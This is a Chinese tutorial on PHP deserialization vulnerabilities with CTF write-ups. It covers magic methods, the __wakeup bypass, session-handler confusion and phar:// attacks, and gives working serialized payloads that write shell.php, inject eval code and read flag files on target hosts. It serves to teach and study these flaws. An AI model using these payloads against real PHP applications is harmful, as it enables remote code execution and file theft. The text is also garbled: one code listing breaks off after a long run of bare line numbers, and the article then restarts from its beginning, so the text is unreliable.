序列化与反序列化

序列化

定义:利用serialize()函数将一个对象转换为字符串形式
我们先看一下直接输出对象是什么效果,代码如下

1
2
3
4
5
6
7
8
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
print_r($a);
?>

效果如下

这个时候我们利用serialize()函数将这个对象进行序列化成字符串然后输出,代码如下

1
2
3
4
5
6
7
8
9
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

效果如下

2.png

如果不是public方法那么后面的读取方法就有点不一样,例如代码如下

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $name="ghtwf01";
private $age="18";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

效果如下

3.png

private分析:
这样就发现本来是age结果上面出现的是testage,而且testage长度为7,但是上面显示的是9
查找资料后发现private属性序列化的时候格式是%00类名%00成员名%00占一个字节长度,所以age加了类名后变成了testage长度为9

protect分析:
本来是sex结果上面出现的是*sex,而且*sex的长度是4,但是上面显示的是6,同样查找资料后发现protect属性序列化的时候格式是%00%00成员名*

这里介绍一下public、private、protected的区别

1
2
3
4
5
public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

反序列化

定义:反序列化就是利用unserailize()函数将一个经过序列化的字符串还原成php代码形式,代码如下

1
2
3
4
<?php
$b='序列化字符串';
$b=unserialize($b);
?>

反序列化漏洞原理

到这儿也许大家会想着序列化过去再反序列化回来,不就是形式之间的转换吗,和漏洞有什么关系
这里先掌握php常见的魔术方法,先列出几个最常见的魔术方法,当遇到这些的时候就需要注意了
附上讲解魔术方法的链接:https://segmentfault.com/a/1190000007250604

1
2
3
4
5
6
7
8
9
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

我们用代码演示一下这些魔术方法的使用效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class test{
public $a='hacked by ghtwf01';
public $b='hacked by blckder02';
public function pt(){
echo $this->a.'<br />';
}
public function __construct(){
echo '__construct<br />';
}
public function __destruct(){
echo '__construct<br />';
}
public function __sleep(){
echo '__sleep<br />';
return array('a','b');
}
public function __wakeup(){
echo '__wakeup<br />';
}
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
$serialize = serialize($object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br />';
//反序列化对象调用__wakeup
$unserialize=unserialize($serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>

运行效果如下:

9.png

原来有一个实例化出的对象,然后又反序列化出了一个对象,就存在两个对象,所以最后销毁了两个对象也就出现了执行了两次__destruct

这里我们看一个存在反序列化漏洞的代码

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['value'];
$a_unser = unserialize($a);
?>

这样我们就可以利用这个反序列化代码,利用方法是将需要使用的代码序列化后传入,看到这段代码上面有echo,我们尝试一下在这个页面显示hacked by ghtwf01的字符,现在一边将这段字符串进行序列化,代码如下(这里的类名和对象名要和存在漏洞的代码一致,类名为A,对象名为test)

1
2
3
4
5
6
7
8
<?php
class A{
public $test="hacked by ghtwf01";
}
$b= new A();
$result=serialize($b);
print_r($result);
?>

这样就得到这段字符序列化后的内容

4.png

将它传入目标网页,返回结果如下

5.png

既然网页上能输出,那说明也可以进行XSS攻击,尝试一下,虽然有点鸡肋2333,到这里应该懂得点什么叫反序列化漏洞了

6.png

一道简单的反序列化考点题
http://120.79.33.253:9001/

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);

题目的大意就是反序列化一个变量后的值等于D0g3!!!,这个变量是用户输入的,于是我们写代码将D0g3!!!序列化

1
2
3
4
5
<?php
$a="D0g3!!!";
$b=serialize($a);
echo $b;
?>

得到序列化后的内容是

7.png

将序列化后的内容传入得到flag

8.png

现在再来一道bugku的反序列化题
welcome to bugctf(这道题被恶搞的删了qwq,只好看看网上贴出的代码分析一下)

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php  

$txt = $_GET["txt"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){

echo "hello friend!<br>";

if(preg_match("/flag/",$file)){

echo "不能现在就给你flag哦";

exit();

}else{

include($file);

$password = unserialize($password);

echo $password;

}

}else{

echo "you are not the number of bugku ! ";

}

?>

代码有点长我们先来分析一下这串代码想表达什么
1.先GET传入参数$txt$file$password
2.判断$txt是否存在,如果存在并且值为welcome to the bugkuctf就进一步操作,$file参数里面不能包含flag字段
3.通过以上判断就include($file),再将$password反序列化并输出

hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php   

class Flag{//flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "<br>";

return ("good");

}

}

}

?>

index.php里面要求$file参数不能包含flag字段,所以文件不能包含flag.php,所以$file=hint.php,把hint.php包含进去,里面存在一个file_get_concents函数可以读文件,想到index.php里面的unserialize函数,所以只需要控制$this->file就能读取想要的文件
用这段代码的结果传值给$password

1
2
3
4
5
6
7
8
<?php
class Flag{
public $file='flag.php';
}
$a=new Flag();
$b=serialize($a);
echo $b;
?>

$password进行反序列化后$file就被赋值为flag.php,然后file_get_contents就得到了flag

10.png

再来一个反序列化漏洞利用例子,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class foo{
public $file = "2.txt";
public $data = "test";
function __destruct(){
file_put_contents(dirname(__FILE__).'/'.$this->file,$this->data);
}
}
$file_name = $_GET['filename'];
print "You have readfile ".$file_name;
unserialize(file_get_contents($file_name));
?>

这串代码的意思是将读取的文件内容进行反序列化,__destruct函数里面是生成文件,如果我们本地存在一个文件名是flag.txt,里面的内容是

1
O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:18:"<?php phpinfo();?>";}

将它进行反序列化就会生成shell.php里面的内容为<?php phpinfo();?>

11.png

12.png

#CVE-2016-7124 __wakeup绕过
__wakeup魔法函数简介
unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行
漏洞影响版本:
php5 < 5.6.25
php7 < 7.0.10
漏洞复现:
代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class A{
public $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("D:\Program Files\PHPTutorial\WWW\zx\hello.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$a = $_GET['test'];
$b = unserialize($a);
echo "hello.php"."<br/>";
include("./hello.php");
?>

魔法函数__wakeup()要比__destruct()先执行,所以我们之间传入
O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
时会被先执行的__wakeup()函数$target赋值覆盖为wakeup!,然后生成的hello.php里面的内容就是wakeup!

13.png

现在我们根据绕过方法:对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行,对象个数原来是1我们将其改为2,也就是
O:2:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
就能实现绕过

14.png

注入对象构造方法

当目标对象被private、protected修饰时反序列化漏洞的利用

上面说了privateprotected返回长度和public不一样的原因,这里再写一下

1
2
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

protected情况下,代码如下

1
2
3
4
5
6
7
8
9
10
<?php
class A{
protected $test = "hahaha";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$b = unserialize($a);
?>

利用方式:
先用如下代码输出利用的序列化串

1
2
3
4
5
6
7
8
<?php
class A{
protected $test = "hacked by ghtwf01";
}
$a = new A();
$b = serialize($a);
print_r($b);
?>

得到O:1:"A":1:{s:7:"*test";s:17:"hacked by ghtwf01";}
因为protected*号两边都有%00,所以必须在url上面也加上,否则不会利用成功

15.png

private情况下,代码如下

1
2
3
4
5
6
7
8
<?php
class A{
private $test = "hacked by ghtwf01";
}
$a = new A();
$b = serialize($a);
print_r($b);
?>

利用代码这里省略吧,同上面,得到序列化后的字符串为O:1:"A":1:{s:7:"Atest";s:17:"hacked by ghtwf01";
因为private是类名A两边都有%00所以同样在url上面体现

16.png

同名方法的利用

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class A{
public $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
class C{
public $test;
function action(){
echo "action A";
eval($this->test);
}
}
unserialize($_GET['test']);
?>

这个例子中,class Bclass C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class Caction方法,实现任意代码执行
利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
public $target;
function __construct(){
$this->target = new C;
$this->target->test = "phpinfo();";
}
function __destruct(){
$this->target->action();
}
}
class C{
public $test;
function action(){
echo "action C";
eval($this->test);
}
}
echo serialize(new A);
?>

17.png

session反序列化漏洞

什么是session

session英文翻译为”会话”,两个人聊天从开始到结束就构成了一个会话。PHP里的session主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期

PHP session工作流程

会话的工作流程很简单,当开始一个会话时,PHP会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的CookieGetPost中不存在session idPHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,例如登录如下网页Cokkie、Get、Post都不存在session id,于是就使用了set-cookie

1.png

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项

会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:

1
2
3
4
5
6
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'ghtwf01' ;
}
?>

代码的意思就是如果不存在session那么就创建一个session
也可以用如下流程图表示

2.png

php.ini配置

php.ini里面有如下六个相对重要的配置

1
2
3
4
5
6
session.save_path=""      --设置session的存储位置
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

phpstudy下上述配置如下:

1
2
3
4
5
6
session.save_path = "/tmp"      --所有session文件存储在/tmp目录下
session.save_handler = files --表明session是以文件的方式来进行存储的
session.auto_start = 0 --表明默认不启动session
session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)

PHP session 的存储机制

上文中提到了 PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid形式

3.png

打开看一下全是序列化后的内容

4.png

现在我们来看看session.serialize_handler,它定义的引擎有三种

| 处理器名称 | 存储格式 |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值|
| php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |

php处理器

首先来看看session.serialize_handler等于php时候的序列化结果,代码如下

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

sessionsessionid其实可以看到的,为i38age8ok4bofpiuiku3h20fh0

5.png

于是我们到session存储目录查看一下session文件内容

6.png

session$_SESSION['session']的键名,|后为传入GET参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于php_binary时候的序列化结果

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 3535 对应的 ASCII 码为#,所以最终的结果如下

7.png

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serialize_handler等于php_serialize时候的序列化结果,代码如下

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

结果如下

8.png

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入GET参数经过序列化后的值

session的反序列化漏洞利用

php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
我们创建一个session.php,用于传输session值,里面代码如下

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

再创建一个hello.php,里面代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D0g3{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
?>

这两个文件的作用很清晰,session.php文件的处理器是php_serializehello.php文件的处理器是phpsession.php文件的作用是传入可控的 session值,hello.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name
运行一下hello.php看一下效果

9.png

我们用如下代码来复现一下session的反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class D0g3{
public $name = 'ghtwf01';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new D0g3();
echo serialize($str);
?>

输出结果为

10.png

因为sessionphp_serialize处理器,所以允许|存在字符串中,所以将这段代码序列化内容前面加上|传入session.php
现在来看一下存入session文件的内容

11.png

再打开hello.php

12.png

一道CTF题:PHPINFO

题目链接:http://web.jarvisoj.com:32784/
题目中给出如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

仔细看了一遍发现题目没有入口,注意到ini_set('session.serialize_handler', 'php'),想到可不可能是session反序列化漏洞,看一下phpinfo,发现session.serialize_handler设置如下

1
2
local value(当前目录,会覆盖master value内容):php
master value(主目录,php.ini里面的内容):php_serialize

这个很明显就存在php session反序列化漏洞,但是入口点在哪里,怎么控制session的值
phpinfo里面看到了

1
2
session.upload_progress.enabled on
session.upload_progress.cleanup off

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session
允许上传且结束后不清除数据,这样更有利于利用
html网页源代码上面添加如下代码

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

13.png

接下来考虑如何利用

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>

得到

14.png

为了防止转义,在每个双引号前加上\,即

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

点击提交,burpsuite抓包将filename的值改为它

15.png

查询到当前目录有哪些文件了,在phpinfo里面查看到当前目录路径

16.png

于是我们利用

1
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

来读取Here_1s_7he_fl4g_buT_You_Cannot_see.php中的内容,同样的道理加上\后将filename改为

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag

17.png

phar拓展反序列化攻击面

phar文件简介

概念

一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自javajar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHPArchive构成,可以看出它是php归档文件的意思(简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行)

phar组成结构

1
2
3
4
stub:它是phar的文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;
manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储
contents:压缩文件的内容
signature:签名,放在文件末尾

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多

前提条件

1
2
php.ini中设置为phar.readonly=Off
php version>=5.3.0

phar反序列化漏洞

漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化

demo测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以很明显看到manifest是以序列化形式存储的

1.png

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
在网上扒了一张图

2.png

用如下demo证明

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'hello ghtwf01';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

3.png

当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,极大的拓展了攻击面,其它函数也是可以的,比如file_exists函数,代码如下

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'hello ghtwf01';
}
}

$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
?>

4.png

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

5.png

采用这种方法可以绕过很大一部分上传检测

利用条件

1
2
3
phar文件需要上传到服务器端
要有可用的魔术方法作为“跳板”
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

漏洞复现

upload.php
白名单只允许上传jpg,png,gif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="pic" />
<input type="submit" value="上传"/>
</body>
</html>
<?php
header("Content-type:text/html;charset=utf-8");
$ext_arr=array('.jpg','.png','.gif');
if(empty($_FILES)){
echo "请上传文件";
}else{
define("PATH",dirname(__DIR__));
$path=PATH."/"."upload"."/"."images";
$filetype=strrchr($_FILES["pic"]["name"],".");
if(in_array($filetype,$ext_arr)){
move_uploaded_file($_FILES["pic"]["tmp_name"],$path."/".$_FILES["pic"]["name"]);
echo "上传成功!";
}else{
echo "只允许上传.jpg|.png|.gif类型文件!";
}

}
?>

file_exists.php
验证文件是否存在,漏洞利用点:file_exists()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
<?php
$filename=$_GET['filename'];
class ghtwf01{
public $a = 'echo exists;';
function __destruct()
{
eval($this -> a);
}# 序列化与反序列化
## 序列化
定义:利用`serialize()`函数将一个对象转换为字符串形式
我们先看一下直接输出对象是什么效果,代码如下
``` php
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
print_r($a);
?>
```
效果如下
![](https://www.ghtwf01.cn/img/20191112144212-8e85e4f4-0517-1.png)
这个时候我们利用`serialize()`函数将这个对象进行序列化成字符串然后输出,代码如下

``` php
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>
```
效果如下

![2.png](https://www.ghtwf01.cn/img/20191112144234-9c15d5ca-0517-1.png)

如果不是`public`方法那么后面的读取方法就有点不一样,例如代码如下

``` php
<?php
class test{
public $name="ghtwf01";
private $age="18";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>
```
效果如下

![3.png](https://www.ghtwf01.cn/img/20191112144245-a2973722-0517-1.png)


private分析:
这样就发现本来是`age`结果上面出现的是`testage`,而且`testage`长度为`7`,但是上面显示的是`9`
查找资料后发现**private属性序列化的时候格式是%00类名%00成员名**,`%00`占一个字节长度,所以`age`加了类名后变成了`testage`长度为`9`

protect分析:
本来是`sex`结果上面出现的是`*sex`,而且`*sex`的长度是`4`,但是上面显示的是`6`,同样查找资料后发现**protect属性序列化的时候格式是%00*%00成员名**

这里介绍一下publicprivateprotected的区别

``` php
public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用
```

## 反序列化
定义:反序列化就是利用`unserailize()`函数将一个经过序列化的字符串还原成php代码形式,代码如下

``` php
<?php
$b='序列化字符串';
$b=unserialize($b);
?>
```

# 反序列化漏洞原理
到这儿也许大家会想着序列化过去再反序列化回来,不就是形式之间的转换吗,和漏洞有什么关系
这里先掌握php常见的魔术方法,先列出几个最常见的魔术方法,当遇到这些的时候就需要注意了
附上讲解魔术方法的链接:https://segmentfault.com/a/1190000007250604

``` php
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用
```
我们用代码演示一下这些魔术方法的使用效果

``` php
<?php
class test{
public $a='hacked by ghtwf01';
public $b='hacked by blckder02';
public function pt(){
echo $this->a.'<br />';
}
public function __construct(){
echo '__construct<br />';
}
public function __destruct(){
echo '__construct<br />';
}
public function __sleep(){
echo '__sleep<br />';
return array('a','b');
}
public function __wakeup(){
echo '__wakeup<br />';
}
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
$serialize = serialize($object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br />';
//反序列化对象调用__wakeup
$unserialize=unserialize($serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>
```
运行效果如下:

![9.png](https://www.ghtwf01.cn/img/20191112144317-b5673690-0517-1.png)

原来有一个实例化出的对象,然后又反序列化出了一个对象,就存在两个对象,所以最后销毁了两个对象也就出现了执行了两次`__destruct`

这里我们看一个存在反序列化漏洞的代码

``` php
<?php
class A{
public $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['value'];
$a_unser = unserialize($a);
?>
```
这样我们就可以利用这个反序列化代码,利用方法是将需要使用的代码序列化后传入,看到这段代码上面有`echo`,我们尝试一下在这个页面显示`hacked by ghtwf01`的字符,现在一边将这段字符串进行序列化,代码如下(这里的类名和对象名要和存在漏洞的代码一致,类名为`A`,对象名为`test`)

``` php
<?php
class A{
public $test="hacked by ghtwf01";
}
$b= new A();
$result=serialize($b);
print_r($result);
?>
```
这样就得到这段字符序列化后的内容

![4.png](https://www.ghtwf01.cn/img/20191112144328-bc4e7b80-0517-1.png)

将它传入目标网页,返回结果如下

![5.png](https://www.ghtwf01.cn/img/20191112144337-c162628a-0517-1.png)

